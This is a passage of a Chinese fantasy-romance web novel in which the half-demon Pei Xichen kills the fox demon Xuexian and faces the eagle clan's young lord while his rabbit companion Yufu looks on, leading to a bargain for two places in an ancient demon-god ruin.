密密麻麻的爬蛇虫兽从四面八方侵入了七欲楼, 一只蜘蛛在一楼大堂中发狂。 雪仙认识这只蜘蛛, 千织客栈的掌柜蛛娘, 是不要命了, 来她这里捣乱! 雪仙眼中戾气顿现,但很快,她察觉还有别的妖在操控这一切。 意识到后, 她反而松下了心神。 原来是她的少主人寻来了啊—— 她可等到他了。 只是可惜她的尾巴, 在逃回妖域之前,又被追来修士断了一尾。 如今归妖域不久,妖们的欲念总是太过简单,能供给她的养分也实太少, 第四尾, 竟才只恢复了一半。 她略甩了甩尾, 将最短的狐尾遮在了最下面。 水雾开始分散,幔帐飞舞中,所有残余的魂念都在飘向她。 恰是时, 剑势狂烈,惊涛骇浪般的杀意袭来, 这回对向的不是她的尾巴,而是她的心窝。 毫不留手,带着一击毙命的狠决。 雪仙折腰伏倒, 四肢成爪,爪尖磋过剑锋,滋啦刺耳,爪心血口,血流不止。 她看向来人,吮去血,唇畔露笑:“你便这样对唤醒你记忆的恩人吗?” “可真令我伤怀。” 她比上次更有闲心去欣赏裴息尘的身躯,化形中寻不出一丝不完美的痕迹。 她目光赤1裸贪婪,全然看所有物一般欣赏。 裴息尘冷笑,他便知这狐狸不怀好意,拔了她剩余的尾巴不怕她不交代目的。 一时间,池水沸腾,二妖对抗更盛,然,当裴息尘又要掐上狐妖脖颈之时,池中法阵浮现,巨大妖兽尸骸从中冒出。 尸骸将裴息尘围住,雪仙趁此时机退出战斗,她遥望着裴息尘,狐唇中发出足以影响人心智的惑术: “我的少主人,你寻来此,难道不正是猜到了什么吗?” “你不想你的母亲吗?” “还是说——你真把自己当佛子了?” 雪仙的声音遽然尖利,所有尸骸一同攻向裴息尘。 这些尸骸,每一具生前都是一方大妖,但他们仍不够强,无论是精神还是□□,都无法承载她主人的全部伟大。 唯有,唯有那被尸骸团团围住之人,才是堪配为主人的妖躯。 若非他逃走,最完美的妖躯早该炼成,绝不会像现在这样,竟会在尸骸的攻击下负伤。 雪仙的眸子沁出极度惋惜的神采。 她带着惑术的声音实在贯耳,裴息尘击溃一具尸骸的同时,双耳渗出了血,也不期然地,脑中回想起被巨大法阵锁于水牢之中大蛇。 那是一条靛蓝色鳞片的大蛇,她的身躯大部分都藏在水下,唯有七寸往上的头部盘在一石柱之上,她的目光时而凶戾,时而又温柔无比。 她温静时,头顶泄入的一缕月光常将她的鳞片耀得如蓝宝石一般美丽。 每当这时,他会控制不住地想靠近她。 即便她十次里有九次想杀他。 裴息尘想过无数次会死在她的口中,也认为他本就该死在她手中,毕竟是他的诞生,才令她变得虚弱,也是他的诞生,才令她变得有机可乘。 裴息尘知晓,大蛇是他的母亲,也知她是完整的妖,而他,是她与人族结合产下的孩子。 他也被关于地牢,每隔数日,便会有声称是他父亲的男子派人来带他离开地牢。 那是个面色极为病态苍白的男人。 听说他病得很严重,所以需要他的血续命。 不管理由是真还是假,他并反抗不了。 这些异常久远的记忆,乍然想起,激得裴息尘凶性更甚,他全然爆发地荡出庞大的妖息,妖骸如被慑住一般,僵硬一瞬。 也是这一瞬,足以凶剑挑断妖骸所有连接的关窍,本就是死物而已,他捏住了从中析出的黑雾一般的妖魄,一把捏散。 他与那个失去记忆的废物佛子不同,他记得所有,也更旁观了“他”于佛宗的二百年,不空圣者,将“他”藏得非常好,“他”满心修佛成圣,也几乎不曾离开过佛宗。 能知晓“他”是半妖的,这世间统共也没几人。 追狐妖而来,是必然。 只要入了要妖域,妖王的昔日事迹,想不听也难。 并不难猜得,他的大蛇母亲,或许就是近百年不出现的妖王。 她没死啊,而且,还有狐妖这样的得力护法在,她仍想回归妖域继续成为妖王。 这些,全然是狐妖传递给他的信息。 所以,她到底意欲何为呢? 用这种弯弯绕绕的方式,只是为了告诉他妖王没死吗? 裴息尘杀意昂然地掐住了狐妖的脖颈,笑意渗人:“你这般不惜代价,混入正道宗门唤醒我,你想效忠于我?” 他的手极冰,力道在缩紧,吸取了第一次拧断狐妖脖子的教训,这次在拧断狐妖脖颈的同时,他于周身布下了结界。 果然,掐死一次,只是断一条尾巴。 但困于结界的狐妖,这次没能跑掉。 裴息尘笑得恶劣至极,长指交错发出一声响,大结界中分出一个球形小结界,所有空气都被分出。 大结界内的狐妖开始窒息地护上脖颈,利爪不断抓挠结界之上,企图挣脱。 裴息尘并不急地等待她缓慢窒息。 一尾、二尾—— 雪仙只剩下了最后新长出的半尾。 裴息尘重新分入了一口空气,雪仙短暂喘息一口。 她不懂,二百多年的修佛,为何恢复记忆以后,会是这般残忍的半妖。 道心崩溃得未免也太彻底。 她本企图见他挣扎,诱他暂担起妖王城少主的责任,到时,再入了妖神古墟,这副妖躯也将打造得更完美,日后主人接手,也可再不受妖躯溃烂的困扰。 然,所有的走向都偏离了她的控制。 雪仙异常不甘地盯着裴息尘,“少主,你母亲是妖域数千年来唯一的妖王,你难道甘心她的心血付诸东流?” “她是因你从王座跌下,你当了二百年的佛宗佛子,就全然忘了这些吗?” “你本该是我妖王城的少主人!” 她字字沁血般忠心,全然不顾最后半尾的生命力:“妖神古墟,少主,你可以变得更强——” “我愿追随——” 裴息尘五指虚抓,毫不留情地将她剩余的声音连同结界一齐捏碎。 一缕黑雾似的烟气从中溢出。 裴息尘凝着那缕烟气消散,若有所思地掏向狐妖的心口。 啊,果然是空的。 还可真是狡猾的狐狸,真难杀。 裴息尘厌烦地盯向满手的血迹,真脏。 幸而没带怂兔子来,不然怕是又要吓哭了。 许是想到玉扶的哭脸,他心情又甚愉悦地踱到池边,慢条斯理地清洗着污血。 洗完,径直看向吓傻了的蛛娘,从她身旁翩然绕过。 可再轻飘飘的一眼,蛛娘也恨不得从没招惹过这等大妖,更恨不得不曾听得雪仙护法同他的最后谈话,妖王竟有过孩子,而这个孩子竟还杀死了愿意追随的雪仙护法。 她直觉地,妖王城日后的局势怕是还有得变。 * 裴息尘不信狐妖的任何一句话。 尤其是在发现狐妖或许根本没死。 那缕黑雾似的烟气,非常的不同寻常,像是某种炼化了的妖魄。 除了狐妖还有那些妖躯上有这种发现,很不巧的,于意识被禁时,他也曾感受到过一次。 就在“他”遇到玉扶的那一日,那个紧追玉扶的妖魄上,他感觉到了非常相似的气息。 这些当中一定有着什么关联。 犹想着,已回到了千织客栈,几个小妖见他,如见什么救星一般双眼放光。 “妖君,你可算回来了,你的兔子——” 话未说完,整个客栈又是一阵摇晃。 小妖站不稳,坚持说完:“管管她吧……” 裴息尘扬了扬眉,意识到什么,上了二楼,长长的廊道,摇晃得灯盏都在生气摆动。 结界于他手中消融,然甫一进入房中,并不曾见到正常的客栈摆设,而是一层套一层的幻阵。 裴息尘哂然一笑,怂兔子,气性大归大,还挺怕死。 这些幻阵并拦不住裴息尘,不见如何动作,已然抓到了惑心镜本体,坐于正中床榻之上的玉扶也现于眼前。 她眼下妖纹异常夺目,每闪一下,脚下便是好一阵的地动山摇。 他食指点上玉扶眉心:“莫闹了。” 极淡又带些疲倦的语气,玉扶倏地睁眼,一瞬当是息尘回来了。 她目中的惊喜,取悦了裴息尘,扯唇笑道:“阿扶,就这么舍不得同我分开?” 坏蛋自得的笑,是阿裴。 玉扶霎时换上了赌气的怒瞪,哼哼地扭头。 “惯得你,又哼哼什么?”裴息尘又挤玉扶的脸,强行将她掰过来与他面对面。 “你关我,身上全是其他妖的味道,还凶我。”分明是指责的话,可玉扶反倒先将自己说委屈了。 “你为什么不带我了?” 但坏蛋就是坏蛋,一点也不会反思自己,裴息尘打量着眼眶红红爱哭的兔子,手指又往她脸蛋上捏了捏,毫不留情地道:“你弱。” 玉扶哽住,事实打击得她哭也哭不出来了,她确实弱,出了游仙会的秘境,就算融合了无相石,也因自身修为的限制,发挥不出无相石真正的本事。 尤其是在这妖王城,妖修遍地走,能称得上大妖的更不在少数。 她现在的修为,大抵也就妖王城外城妖修的中下水准,用人修的衡量标准,再加一点水分,也不过是金丹中期的水平。 玉扶根本反驳不了地与裴息尘眼瞪着眼。 裴息尘随意地往床榻上坐,视线从上往下地打量玉扶,扯唇随意问:“想变厉害?” 这不是废话吗? 哪有不想变强的妖? 尤其还是她这种修为倒退的,她每一天都想着快点再厉害一些呢。 玉扶委屈哒哒地点了个头。 裴息尘:“那便去妖神古墟罢。”《 》 30-40 第31章 玉扶懵然抬眼, 对没听过的地名很是疑惑。 “那是什么地方?” “能让我变强?” 裴息尘“唔”了声,又犯困了似的:“大概吧。” 不明确的回答,玉扶很不满, 是就是,不是就不是, 什么叫做大概吧! 她板着脸, 噘着嘴, 气呼呼地瞧裴息尘, 他不带她出门, 回来后还对她好敷衍,果然是有其他的妖了。 玉扶趁着裴息尘闭眼假寐的关头,倾身朝他的方向嗅了又嗅, 有蜘蛛精的味道, 有血腥气,还有闻不出来什么妖的尸味……其中最明显的是狐狸的妖味。 玉扶越闻越纠结,他到底是去做什么了,怎么能染上这样多的味道? 他是去寻雪仙打架了吗? 他受伤了吗? 玉扶闻得专注, 也皱着眉想得专注, 全然没发现自己的鼻尖快要触碰上裴息尘的胸膛。 裴息尘天生的坏人气质, 眸光稍扫一眼玉扶的举动,大大方方地任由色兔子的靠近,直到她近得不能再近, 才做样地扯了扯衣襟,指腹抵开玉扶, 提醒:“阿扶,十日还未到。” 玉扶脑子滞了滞,方反应过来, 他是当她又馋他呢。 自大狂!真小气! 玉扶恼了地与他拉开距离,一双清凌凌的目,满是敢怒不敢言。 偏生,裴息尘还对她笑了。 生动,惑人。 男妖精。 他就坐于她面前,慵懒展开的胸膛,大度无比的神情。 玉扶发现,她居然还是挺喜欢他皮囊的,即便是坏蛋时。 她听见他散漫的调子道:“阿扶,你知道,我是很想照顾你的,可约定就是约定,再喜欢我,你也要忍忍。” 玉扶脸色绷了绷,真的很想反驳,可他说的也不全然是不对的,他真的很大方了,什么要求都能答应,可以摸摸,可以亲亲,还会给活的灵息…… 但,玉扶就是觉得哪里还有些不对。 她明明应该得到更多的,可偏又怎么样都责怪不到阿裴身上,是她自己提出的要求,他只是答应了而已。 也只是照顾到她的接受力而已。 玉扶生出些烦躁,她怎么又被他的一句话带偏了! 然她是一只野兔子,即便意识到话题的偏离,也只会顺从本性地为自己争取更多:“不可以不作数吗?” 裴息尘意味深长地望向玉扶,贪心的兔子,三心二意的兔子,已经慢慢开始不能忍耐的兔子。 但他就是有无限的耐心。 裴息尘咧唇,怜惜地对她笑。 他真好看,笑起来时,慵慵懒懒的,带着温柔,带着邪性,一点也不好心肠,可就是瞧得人心跳都快了几分,神思也飘然了几分。 更瞧得人生出了希冀。 玉扶紧张地盯着他的唇,几乎快要肯定,他一定会答应的,他都已经答应过她好多次要求了。 然而,玉扶只听得了极为肯定的二字: “不行。” 玉扶怔怔望着裴息尘的口型,好一会才从心底泛上淡淡的失望。 “好吧,那要怎么去妖神古墟?” 玉扶有些低落,可,她连一会是佛子,一会是妖的裴息尘都能接受,适应力自是不用说,她的想法也非常的简单,既然要按约定,那她变厉害,阿裴就不能克扣她了。 裴息尘也吃惊于她思维的跳跃,略想了下回答:“不知道。” 玉扶:“?” “……” 沉默。 玉扶再次觉得阿裴真的很不靠谱,除了大方一点,他一点也不稳重,他怎么什么不知道就建议她去妖神古墟?又怎么就认定妖神古墟可以帮她变厉害? 他真的很—— 很—— 玉扶想了半天也没憋出形容来,总之,他就是同息尘一点也不一样。 “你这什么眼神,嗯?”裴息尘不爽,一只馋她的色兔子,竟然挑剔他:“你心里在想什么?” “又将我同‘他’比较?” “不就一妖神古墟,我还会带不了你去?” “再用这种眼神看我——” 裴息尘本想又说“吃了你”的威胁,然想到自己做出的承诺,话转了个弯地恶意道:“剃了你的毛当围脖。” 玉扶浑身顿感一阵冷意,委屈红了眼。 坏蛋就是坏蛋,坏死了!他的剑上次抢走了她的绒球,耳边那一簇毛都还没长好呢,她都好一段时间不敢面对,现在,竟然更过分地想要围脖。 裴息尘刷新了玉扶对坏蛋的认识,他不吃她,但他还有好多的手段恐吓她。 她真的讨厌死息尘中邪的性格了! 可同时,玉扶又是识时务的,她又气又怂地缩回眼,垂着睫小声嘟囔:“只会凶。” 裴息尘听得耳朵痒,撩眼看她,她与他隔着好大的距离坐在床沿,侧靥气呼呼的,发丝都被呼出的气吹得浮动,裴息尘盯着她看,觉得哪哪都有趣,肌肤莹莹的,总让人有想捏的冲动,眼瞳黑亮,又灵动又无辜,小嘴嫣红,常常说些大胆请求。 裴息尘的眉眼弯一下,大度地放过了她的小声蛐蛐,感受到身上一些伤口的愈合,再次思量起狐妖说的话。 有一点狐妖说的没错,他可以变得更强,二百年才经放出的妖性,同同样躯体强悍的诸多妖骸对上,才可感受出缺憾,他一次皮都不曾蜕过,蛇鳞坚硬程度,还有妖躯的强悍程度,于大妖中,并没有任何的优势。 即便狐妖所指别有用心,妖神古墟或都值得去一趟。 他又看一眼玉扶,想,给家养的小兔寻一些机缘也不错。 他笑着,从床沿起身,要往外去,不查地,袖摆被什么揪住。 垂眼,与玉扶水润润的眸子对上。 “你要去哪?”玉扶琉璃般晶亮的眸子一眨不眨地看着裴息尘,“我觉得,你可以带上我。” 虽然被凶,但玉扶真的很不放心。 息尘很强,阿裴也很强,超过玉扶一些认知的强,然则,阿裴是坏蛋,他对她的想法了如指掌,却不像息尘一样不可接近,同样的,他也不拒绝旁的女妖。 玉扶对他失去了信任。 她有责任看好属于息尘的身体,也更本能地想独占。 裴息尘不止一次发现,玉扶韧性真的强,也异常的能屈能伸,上一刻生气,下一刻还能理不直气不壮地重新说请求。 说她胆子大吧,姿态偏又可怜兮兮的,说她胆小吧,她又没少气性大到给他甩脸子。 她娇弱中,天然带着十足的韧性,分外地让人,想欺负欺负。 他大抵就是这样才从一开始便想将她抢过来,只当他的小兔。 此刻,她的请求,无异熨帖了他变态的心理,瞧,阿扶果然离不开他。 裴息尘愉悦得恨不得放出尾巴,他弯着唇,又极大方地应允了:“爱跟便跟吧。” 软绸质地的袖袍从玉扶手中溜走,裴息尘行姿甚是懒散拖沓地开了房门。 下楼。 玉扶很快跟上。 整整一夜,整个千织客栈就没有安生过,此刻,妖域的夜色将褪,客栈中的帮工小妖有在重新整理震倒的桌椅的,也有在噼里啪啦算着损失的…… 玉扶生出些羞愧,也动手帮忙整理搅乱的大堂,她以为她闯不出去,房屋外头应当也没影响的呢。 想着,瞥了一眼罪魁祸首,他真是坐也坐不端正,浑如没骨头似的,这样也要靠一下,手肘支在桌上,长指略点着额,还打哈欠。 可看很多次,玉扶也觉得阿裴真的好华丽,蜷发半束,衣衫鷃蓝,没有勾边,但绸缎的本身纹饰就混有许多流金的丝线,昏光下,也熠熠的。 这些衬着他的长相,将他原本息尘时圣洁的气质,一下子就冲破了,华丽、邪气、俊美,总有种说不出的味道,有着与佛子截然不同的另一种吸引力。 令人不知觉地想起,他魂息所化的小蛇与她的神魂小兔,交缠的面红耳赤。 显然的,不止是玉扶觉得他华丽好看,就连大堂中的其他妖们也这样觉得,也都偷偷瞧了他好几眼。 裴息尘抬目一眼,直撞上看她的玉扶,带着一股说不清的意味朝玉扶笑一下。 迷恋上他的兔子。 还不足够。 他要玉扶念着他能给她的好,想到他,就离不开的地步。 甚至愉悦地想,他的小兔子,眼眶红红的,只能求他给她的一天。 天渐渐亮了,蛛娘从外进来,甫一见得大堂中坐的大妖,身上每一关节都痛了起来。 这一夜,她无不惊险,尤其是最后的烂摊子,雪仙护法的死亡,如何也不能就那样放着,在内城的三大妖族闻讯之前,她先传讯给了鹰族的少主单云霄。 将外城来了裴息尘这样的大妖一事告知,唯独隐去了妖王之子。 不出所料的,单云霄对裴息尘很感兴趣。 如今内城的妖族,本就处于微妙的平衡,雪仙护法一死,其下的妖属,感知到的,没少立即改换了投奔,当然也有逃跑的,盖因她通禀单云霄的快,很快控制了局势,也令鹰族最后掌住了七欲楼。 然真的拿下七欲楼,才发现,对鹰族而言根本没有什么价值,这不过是一座为雪仙修炼专建的一座楼,吞魂夺魄,同鹰族的行事风格一点也不符。 不过也算是立功,总比这座楼重新落回了雪仙本家狐族的好,尤其是在楼顶,他们发现了这座楼本源的一座大阵,精妙又阴损。 单云霄甚至怀疑雪仙根本没死透。 故而命她若有可能,邀裴息尘见面一叙。 蛛娘知晓的,单云霄是对裴息尘动了招揽的念头,妖族势力中有能耐的大妖越多,也越能在三族中胜出。 不止是鹰族,当其他两族了解到裴息尘的存在和做的事后,怕也会有相同举动的。 所以,她回来得很快,就是为了尽快与大妖搭上联系。 然,她真的见到裴息尘便怵,尤其是,此刻见其懒懒扫过来的视线,更是一惊,猜想,他怕是早在听完她所说的妖王城内部情形,就已做好了吸引大人物注意的打算。 雪仙护法是他展现实力的投名状,否则怎么早有预料一般地还等在此? 当下,恭敬无比地上前。 第32章 裴息尘并无蛛娘想的那般多弯弯绕绕。 杀狐妖本就在他所想范畴中, 至于得罪不得罪内城的妖族,从来不在他的考量。 但他也确实是在此等蛛娘,她还挺好用的, 知道的多,清理七欲楼杂妖也省去了他的不少力。 尤其是, 他记得, 此妖很有有些门路, 诸如引荐、带路妖神古墟。 他不是独身的妖, 要养兔子, 总要费点心。 裴息尘唇角微勾了勾,难得的准备给蛛娘一个好脸色。 然则,蛛娘行至他跟前, 就是好大一个礼:“妖君在上, 小妖之前不识妖君本事,多有冒犯,还望妖君宽恕。” “此为小妖给妖君与妖君兔子的赔礼。”蛛娘视线略微一瞥玉扶,认定或从兔妖身上入手道歉更有可能性地捧出一匣子, 其内是银光熠熠的女子法衣, 一看就知不凡, 那丝每一纹都又韧又闪。 要织就这样一身法衣,就是蛛娘自己,都要花上几十年的功夫, 这里的每一毫丝,都是她修为所凝, 本是为之后入了妖神古墟防身所备,现下,为了办成鹰族少主所吩咐的事, 也顾不得什么珍惜不珍惜。 且,她有意瞒下听得的裴息尘妖王之子的身份,也无不有另抱一大腿的用心。 那这些付出也就算不上什么。 她恐的是,不会被接受。 她捧着匣子,道歉交好的态度十足,也再没了昨日客栈掌柜的神气。 甚至,对玉扶也一改态度,友好热络地抖开法衣,大骂没眼力的小妖,怎能让贵客帮忙活计,转而笑着要将法衣往玉扶身上比划:“好像是大了些,无妨,我今日就能改出来。” 玉扶听得出,蜘蛛精今日大骂客栈小妖还真不是在点她,而是有些讨好,还有些别有目的。 玉扶可不耐她要将衣袍往自己身上比划,身子灵活地躲到了裴息尘的身后,她觉得蜘蛛精真不会讨好妖,送什么女子法衣,喜欢亮晶晶华丽的根本不是她。 颜色也不对,阿裴喜欢的是各种蓝。 给她送衣服,还不如给阿裴送呢。 当然,玉扶才不会好心地去提醒,而是揪着裴息尘手臂处的衣袍,与他一上一下地对眼,满眼都是大大的疑问。 他到底是做了什么,一夜的功夫,蛛娘就从恨不得挤走她,变成了迫切地想与她交好。 渗死妖了! 玉扶鸡皮疙瘩都要被蜘蛛精的腆笑刺激出来了。 但这也不怪蛛娘,任是谁接连被收拾,被动听到大秘密,看到凶杀现场,都会在大妖面前老实,她还能用玉扶转移注意地与大妖搭上话已是难得。 裴息尘被玉扶揪得皱了眉,她揪一小点,揪到他肉了,他不动声色地将衣袍从玉扶手中解救出来,睨向蜘蛛精。 再无可避的压迫,蛛娘终于放弃了先交好,说明了来意,“妖君等在此,想来也是知晓,内城三大妖族不会坐视七欲楼出事不管。” “现下,抢先把控了七欲楼的是鹰族少主。” 裴息尘了然地垂了下睫,他记得,蜘蛛精说过,她亲近鹰族,如此,鹰族能这么快发现雪仙的死去,也不算是意外。 蛛娘忐忑觑一眼裴息尘的神情,继续道:“少主听说了妖君,欲请一叙。” “妖君大可放心,少主当下正是招揽诸地大妖的时候,对妖君也定是奉为上宾。”蛛娘能在妖王城长长久久地开客栈,玲珑心思必不可少,说完转达,也不忘暗示道:“昨日,小妖并不曾上得顶层。” 裴息尘顷刻撩眼打量她,又是聪明又别有用心的妖,不过是听得一点只言片语,竟当下就来卖好。 不过瞒下也好。 “你想要什么?”裴息尘长指漫不经心地轻敲着桌面。 脆生生的响,一下一下地直如危险催命的节奏。 玉扶轻轻退离了他一步,她跟久了,总能摸清一些阿裴的不同举动用意,有时候他是真懒,怎么闹,他都懒得收拾,可有时候,他又于懒散中在伺机着什么。 显然的,现下是后者。 蛛娘也明显感受到那种命悬在他人手中的感觉,她扑地跪下,浑身都在发着颤,“唯求若有一日,还仍可于妖王城中开此家客栈。” 她的要求真的很低,只要一个现状而已。 但这种现状,是建立在她在内城有后山的前提下,也即是说,若有裴息尘入主内城的一日,她可多一个靠山,亦或是换一个靠山。 她很聪明,很懂得“要”的分寸,也无形中捧了裴息尘一把,并且,不管怎么样她都不会有损失。 “本座允了。”裴息尘答应。 蛛娘喜出望外:“我这就通禀少主,安排会面时间。” * 玉扶跟在裴息尘后头。 她终于知晓阿裴为何一大早不回房中休息,反坐在大堂了。 他就是在等蛛娘呢。 她不过是一夜没跟着,蛛娘的态度转变了,她也听不懂他们说的话了。 玉扶很沮丧。 而且,她发现,原来阿裴不止是会答应她的请求,他还会答应旁的女妖请求。 玉扶看不懂他的大方了。 但她真的很小气,她不喜欢他乱答应旁的妖的要求。 万幸是今日蛛娘提的要求还算正常,那万一下次有妖提不合理的要求呢?万一是同她一样要亲亲,要神交,他也答应吗? 他们怎都这样,对谁都一样。 玉扶越想越不平衡,不发一言地回了自己房中。 她也是有气性的兔子,他都不对她特殊,她也不要一直白跟着他了。 关门的声音不算响,但裴息尘还是愣了一下,惊讶玉扶这会竟不缠着他了? 没良心的兔子。 裴息尘也鼻孔出气地呵一下,并不打算同玉扶多解释。 等确定了可入妖神古墟,还有得兔子对他摇尾巴呢。 裴息尘如是乐观。 当日里,蛛娘很快带来了同单云霄见面的时辰,由蛛娘引着入了内城。 内城多为种族群居,在妖王不出面后,内城各大妖辖地之间越发泾渭分明。 鹰族多居往高处,山下连接市集,山上领空时有猛禽一类巡空,亏蛛娘能在这样满是猛禽的区域中带他们穿行,不时有妖向蛛娘打招呼,看来是真的很亲近鹰族了。 玉扶上半日还想不再白跟着阿裴,到了下半日,阿裴要同蛛娘前往内城,她还是小尾巴似的跟上了,只是话少了很多。 一双眼也完全被全是猛禽类的妖族聚居之所吸引了,他们也不全然住在树上,而是会在树上开辟出树屋,除此外,也有非常正经的屋舍,年幼的妖在屋外玩耍,收不起的翅膀随着跑动一颤一颤的,还有从高树往下跳的,扑腾几下径直飞起来。 这些所见,稍冲淡了玉扶踏入大妖领地的紧张。 蛛娘也似有意带他们见到这些,展现出单云霄的友好。 但这种友好很快就在山顶荡然无存,巨大鹰形阴影于空中俯冲而来,携起的飓风如刀如刃,更为可怖的是,锋利的爪勾随之抓来。 玉扶同裴息尘具成了被捕猎的对象。 泛着青铜冷光的利爪越靠近越可感其力量之强,若被抓中,怕是肩骨都能被勾穿。 半圆的结界于千钧一发之际展开,鹰爪与之擦过,发出尖锐刺耳的摩擦声。 然而,攻击还未结束。 鹰妖展开羽翼,旋身再来,风刃飞舞,瞬间将爪扣入结界,令人牙酸的“咔嚓”声在碎裂阿裴的结界。 鹰妖的妖躯强悍可见一斑。 裴息尘不得不再次出手,认真对战,玉扶感到一阵力的推动,她被推到了战斗的边缘,而方才的中心地带,两妖已打了起来。 裴息尘不曾化出原形,一直用一把剑与鹰妖对抗着,而鹰妖妖躯强悍,仅用利爪与裴息尘抗衡着。 “都是妖,怎地,不敢化出原形来同我酣畅一战?”年轻男子高亢的声从鹰妖的鸟喙中传出,挑衅,又战意正酣。 与此同时,又是一阵金戈擦过的声刺耳声响,裴息尘剑气凶悍,与鹰妖的爪子砰砰砰碰撞数十次后,跳过他的防御,终于寻中机会砍向鹰妖的羽翼。 鹰妖战斗直觉机敏异常,调整羽翼飞掠方向,堪堪避开最险的一击,半空中只落下数羽黑曜般的鹰羽。 鹰妖落地,羽翼从拢到开,化为一年轻健壮男子:“我承认你的实力,你可愿归顺我鹰族?” “不愿。”裴息尘收剑。 单云霄意外扬眉,看向蛛娘,他本以为此人答应来见,便是同意加入鹰族麾下,若是不愿,那今日可便不能轻易让他离去了。 尤其是方才的试探,更令他肯定了这一点。 虽说是试探,但能于他手下撑这般久,也不曾化出原形来形体上的较量,要么,他的妖躯不敌自己,要么,他还有十足的余力。 单云霄偏向认定后一种。 妖王城何时来了这样能耐的妖,他不在乎,但他在乎,这妖可能为自己用,即便不为自己用,也不可放他被其他妖族招揽。 三大妖族平衡至今,全盖实力的相差无几,在入妖神古墟改变这种平衡之前,其他变数的存在,由不得他不警惕。 蛛娘也心跳到嗓子口,二大妖相互试探,波及方停,对话却更危机四现,她原以为,裴息尘一切都是谋划好了的,杀了雪仙护法便是想以此亲近某一妖族,再逐力为妖王谋划,引荐也水到渠成。 没想,竟不是如此吗? 不接受招揽,莫不是要同七欲楼一般,在旁人的地盘再大闹一场? 想到这个可能,蛛娘心惊肉跳,这是鹰族,不同于独立在外的雪仙护法,除了少主外,就光是这一座山中,都还有在闭关的老怪物,更莫说在妖王城之外,还有的据点。 若是真这般莽撞地打了起来,她两边都讨不到好。 一时心思多得不知该如何应对单云霄投来的问询眼神。 好在,裴息尘说完“不愿”后,并没有将僵局继续下去,他一贯轻松的姿态道:“单少主,我唯可答应不涉你等三族的争斗。” 单云霄大笑,猛禽特有的锋锐眸光很是兴味地落在裴息尘身上,他欣赏这种与他旗鼓相当有傲气的妖。 但欣赏归欣赏,也没错漏裴息尘话中透露出来的狂傲。 不涉三族斗争,也不就是说什么都不做,或许换句话说,他自信到一妖就影响整个妖王城的局势。 真是比他还狂,偏语气懒淡得跟吃饭喝水一样寻常。 单云霄收了笑,妖息几乎卷过了整个山头,“你知道你在说什么吗?” “这是我鹰族的地盘。” 话落,山顶领空的鹰隼妖族同时如收信号般,带着某种戒备规律地盘旋尖啸。 本就躲得老远的玉扶都不由捂了耳,这些禽妖的叫声也带了攻击与威慑。 她一只兔子,真的恨不得变回原形,躲到地下去。 然而,更受威胁的裴息尘并不为所动,甚至漠着眼,玩味扯动唇角:“是吗?” “我没记错的话,这应也属妖王城。” 裴息尘在嘲讽,妖王死活还不知,几大妖族就敢称是自己地盘了。 天色瞬地就暗下,是领空的禽妖们压下了几分,层层展开的羽翼,乌鸦鸦,黑暗暗,他方才的话,显见地得罪了他们。 鹰族高傲,势要给外来者一个的教训。 天地间,浩浩荡荡的妖息压下。 就在一片倒的气势中,裴息尘抬起了眼,瞳眸显出兽类的幽静,与单云霄对战都收敛得温静的妖息涤荡开。 足有一妖敌万钧之势。 山间的风更大了,满空禽妖与裴息尘一上一下对峙着,空气中都是沉默与压抑。 不止是玉扶,就连蛛娘也化为了原形。 蛛娘不要脸地挤进玉扶的兔子洞中:“小兔妖,你到底是怎么诱得的大妖,他这么不要命你知道吗?” 她语中满是抱怨,也明显地还把玉扶看得扁扁的。 “我有名字,我叫玉扶。” “这是我的洞,你挤着我了。” 玉扶白了蛛娘一眼,并没有非要把她赶出去—— 第33章 玉扶记仇。 她不赶蛛娘不是瞎好心。 蛛娘问她问题, 她也还想问蛛娘呢,他们一晚上到底是去做什么了,能让懒蛇变得这样有干劲。 玉扶对外头厉害大妖之间的战局一点办法也没有, 把洞往下又挖了一点,瞧着蛛娘原形上新鲜的伤痕不客气地问:“该我问你, 你安的什么心, 故意请我们来鹰族的地盘!” 蛛娘被玉扶气笑了:“老娘能安什么心, 我倒霉, 遇到你们这样的煞星。” 本来, 她板上钉钉的随行妖神古墟,现在这一遭事,大妖打了起来, 事后不被鹰族迁怒就已是不错, 她怒瞪玉扶继续道:“是老娘非要请你们来的吗?不是你们在等着我送上门?” “你这小兔妖,真是连男人心里想的什么都不知道。” “哪天丢了性命也是该。” 玉扶气红了眼,她当然想到了裴息尘是大堂等的谁,可就是还不清楚一晚的功夫, 到底发生了什么嘛, 她气上头, 也不管地直接问:“那你说,昨晚你们都做什么去了?” 见她是真不知,蛛娘没有瞒着的必要, 阴阳怪气地道:“你那大妖杀了雪仙护法。” 玉扶眨了眨眼,倏地就将所有的事都连上了, 狐狸得罪了阿裴,阿裴知晓狐狸所在后,一晚上都忍不了, 让蛛娘带路地去解决了狐狸。 难怪他身上的气味那么复杂呢。 可玉扶还是不懂,杀了狐狸和鹰族有什么关系,阿裴干嘛要来送上门? 他虽然是坏蛋,可也是玉扶下山后碰到的好心肠佛修,玉扶想了想,还是冒着险,往地面上探去,她很会逃跑,若他实在不行的话,她可以考虑下带他一起逃跑。 各种妖息碰撞,罡风猛烈,挺拔身影立于风暴中心,但唯他周身划出了真空的地带,巨大的蛇形虚影不落下风地同众多禽妖对峙,不时的,反咬下一些的禽妖,许多新鲜落下的羽毛常挡住了玉扶的视线。 而被击落地的禽妖,落地化形退到了单云霄的身后。 单云霄盯着裴息尘只看得出是蛇形的虚影,兴趣越浓,除了昔日的妖王,已许久没见蛇妖一族出现这般能耐的。 终于,他不愿再强行解决了裴息尘,再较量下去得不偿失,一声嘹亮的鸟鸣,日光重新灿烂投下,单云霄拍着手从群妖中走出:“好本事,我欣赏你,你既不愿归于我鹰族麾下,你我结为兄弟如何?” “两个名额,妖神古墟。”裴息尘收了庞大妖息,开始默认了谈判。 没预料到的走向,玉扶蓦地瞠大了眼,妖神古墟,两个名额,她好像知道了什么。 群妖退去,云与光在天际亮得没有尽头,衣着风格极为华丽的裴息尘,周身都带着一股形容不出来的激撞。 玉扶看得出神,想,他好像也没有那样坏。 单云霄也惊讶,这般大动静,就为了两个名额? 不过,若只是第一次的试探,他或也会给他两个名额,但绝对不会像现在做出更多的让步,只想稳住了他。 声势浩大的对抗开始得浩大,结束得却潦草,最后以单云霄请裴息尘入他的洞府详谈为落幕。 跨过一巨大绿植所连接法阵,单云霄的住处别有它地。 住宅广阔,莺鸟妖仆起落翩然,不断为主人招待贵客做着准备。 单云霄热情地拉着裴息尘商谈结义。 玉扶就被扔给了蛛娘在不远处照看。 